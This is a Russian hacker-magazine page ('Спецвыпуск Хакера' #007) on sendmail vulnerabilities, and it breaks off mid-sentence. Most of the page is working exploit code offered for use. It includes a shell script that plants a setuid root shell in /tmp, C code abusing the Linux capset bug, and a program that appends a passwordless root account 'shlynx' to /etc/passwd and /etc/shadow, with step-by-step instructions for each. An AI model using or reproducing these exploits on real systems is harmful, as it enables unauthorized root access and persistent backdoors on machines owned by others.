Дуршлаг в Sendmail

Спецвыпуск Хакера, номер #007, стр. 007-040-3

#---------------------------------------------

# ----------------- Dedicated to my beautiful lady ------------------

#---------------------------------------------

#----------------------

#

#Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su

#

#

#

echo 'main()'>>leshka.c

echo '{'>>leshka.c

echo ' execl("/usr/sbin/sendmail","/tmp/smtpd",0);'>>leshka.c

echo '}'>>leshka.c

#

#

echo 'main()'>>smtpd.c

echo '{'>>smtpd.c

echo ' setuid(0); setgid(0);'>>smtpd.c

echo ' system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");'>>smtpd.c

echo '}'>>smtpd.c

#

#

cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c

./leshka

kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]"

"\n"|head -n 1`

rm leshka.c leshka smtpd.c /tmp/smtpd

echo "Now type: /tmp/sh"

Как ты видишь, это - шелл скрипт. Вот и сохрани его как s.sh и сделай его

запускаемым (то бишь chmod 700 s.sh). Не вдаваясь в подробности, скажу, что

этот скрипт создает шелл /tmp/sh, запустив который, хацкер может познать

безграничные возможности рута на машине ;).

Плюсы: Легкость в использовании.

Минусы: Баг и версия демона достаточно стары (если учитывать то, что

последняя версия сендмайла - 8.11.2). Нужно иметь юзверские права на ломаемой

машине.

Баг нумбер четыре - каждой пырке по тырке

Версия демона: практически любая (ограничения накладываются лишь на версию

самой оси).

Опись: дело в том, что любой демон в *nix системах обладает правами рута (т.е. их uid/gid == 0). Все это относится и к сендмайлу.

Гыгыгыгы...

Код эксплоита (Файло ex.c):

#include <linux/capability.h>

int main (void) {

cap_user_header_t header;

cap_user_data_t data;

header = malloc(8);

data = malloc(12);

header->pid = 0;

header->version = _LINUX_CAPABILITY_VERSION;

data->inheritable = data->effective = data->permitted = 0;

capset(header, data);

execlp("/usr/sbin/sendmail", "sendmail", "-t", NULL);

}

Файло add.c:

#include <fcntl.h>

int main (void) {

int fd;

char string[40];

seteuid(0);

fd = open("/etc/passwd", O_APPEND|O_WRONLY);

strcpy(string, "shlynx:x:0:0::/root:/bin/sh\n");

write(fd, string, strlen(string));

close(fd);

fd = open("/etc/shadow", O_APPEND|O_WRONLY);

strcpy(string, "shlynx::11029:0:99999:7:::");

write(fd, string, strlen(string));

close(fd);

}

Пример:

Во-первых, не забудь закомпилить эксплоит ;). Создай файло "mail" и впиши туда следующее (без кавычек):

"From: <shlynx@edet_v_m.org>

To: <nadeyus@ya_skoro_um.ru>

Subject: Галлон отстоя ему в ухо!

Ну. Э!

.

"

Теперь создай файл ".forward" со следующим содержанием:

"|/path/to/add" - путь к файлу add.

И, наконец, выполни команду "./ex < mail".

После успешного выполнения у тебя должен появиться новый юзверь shlynx без

Назад на стр. 007-040-2  Содержание  Вперед на стр. 007-040-4

загрузка...
Cпец Хакер #075Cпец Хакер #074Cпец Хакер #073Cпец Хакер #072Cпец Хакер #071Cпец Хакер #070Cпец Хакер #069Cпец Хакер #068Cпец Хакер #067Cпец Хакер #066Cпец Хакер #065Cпец Хакер #064Cпец Хакер #063Cпец Хакер #062Cпец Хакер #061Cпец Хакер #060Cпец Хакер #059Cпец Хакер #058Cпец Хакер #057Cпец Хакер #056Cпец Хакер #055Cпец Хакер #054Cпец Хакер #053Cпец Хакер #052Cпец Хакер #051Cпец Хакер #050Cпец Хакер #049Cпец Хакер #048Cпец Хакер #047Cпец Хакер #046Cпец Хакер #045Cпец Хакер #044Cпец Хакер #043Cпец Хакер #042Cпец Хакер #041Cпец Хакер #040Cпец Хакер #039Cпец Хакер #038Cпец Хакер #037Cпец Хакер #036Cпец Хакер #035Cпец Хакер #034Cпец Хакер #033Cпец Хакер #032Cпец Хакер #031Cпец Хакер #030Cпец Хакер #029Cпец Хакер #028Cпец Хакер #027Cпец Хакер #026Cпец Хакер #025Cпец Хакер #024Cпец Хакер #023Cпец Хакер #022Cпец Хакер #021Cпец Хакер #020Cпец Хакер #019Cпец Хакер #018Cпец Хакер #017Cпец Хакер #016Cпец Хакер #015Cпец Хакер #014Cпец Хакер #013Cпец Хакер #012Cпец Хакер #011Cпец Хакер #010Cпец Хакер #009Cпец Хакер #008Cпец Хакер #007Cпец Хакер #006Cпец Хакер #005Cпец Хакер #004Cпец Хакер #003Cпец Хакер #002Cпец Хакер #001